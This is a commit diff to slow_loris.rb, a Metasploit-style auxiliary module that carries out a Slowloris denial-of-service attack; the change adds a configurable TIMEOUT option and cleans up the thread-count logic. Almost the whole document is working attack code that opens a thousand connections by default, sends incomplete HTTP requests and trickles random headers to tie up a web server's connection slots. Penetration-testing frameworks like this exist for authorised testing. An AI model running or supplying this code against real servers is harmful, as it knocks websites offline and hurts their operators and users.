Update slow_loris.rb

MS-2855/keylogger-mettle-extension
Daniel Teixeira 2017-11-09 19:58:10 +00:00 committed by Matthew Kienow
parent aa16288140
commit 74becb69e8
No known key found for this signature in database
GPG Key ID: 40787F8B1EAC6E41
1 changed files with 13 additions and 8 deletions

View File

@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
info,
'Name' => 'Slow Loris DoS',
'Description' => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
It accomplishes this by opening connections to the target web server and sending a partial request.
It accomplishes this by opening connections to the target web server and sending a partial request.
Periodically, it will send subsequent requests, adding to but never completing the request.},
'License' => MSF_LICENSE,
'Author' =>
@ -32,7 +32,8 @@ class MetasploitModule < Msf::Auxiliary
[
Opt::RPORT(80),
OptInt.new('THREADS', [true, 'The number of concurrent threads', 1000]),
OptInt.new('HEADERS', [true, 'The number of custom headers sent by each thread', 10])
OptInt.new('HEADERS', [true, 'The number of custom headers sent by each thread', 10]),
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 15])
])
end
@ -43,16 +44,20 @@ class MetasploitModule < Msf::Auxiliary
def headers
datastore['HEADERS']
end
def timeout
datastore['TIMEOUT']
end
def run
starting_thread = 1
header = "GET / HTTP/1.1\r\n"
threads = []
loop do
print_status("Executing requests #{starting_thread} - #{(starting_thread + [thread_count].min) - 1}...")
1.upto([thread_count].min) do |i|
print_status("Executing requests #{starting_thread} - #{(starting_thread + thread_count) - 1}...")
1.upto(thread_count) do |i|
threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
begin
connect()
@ -60,13 +65,13 @@ class MetasploitModule < Msf::Auxiliary
headers.times do
data = "X-a-#{rand(0..1000)}: b\r\n"
sock.puts(data)
sleep rand(1..15)
sleep rand(1..timeout)
end
end
end
end
threads.each(&:join)
starting_thread += [thread_count].min
starting_thread += thread_count
end
end
end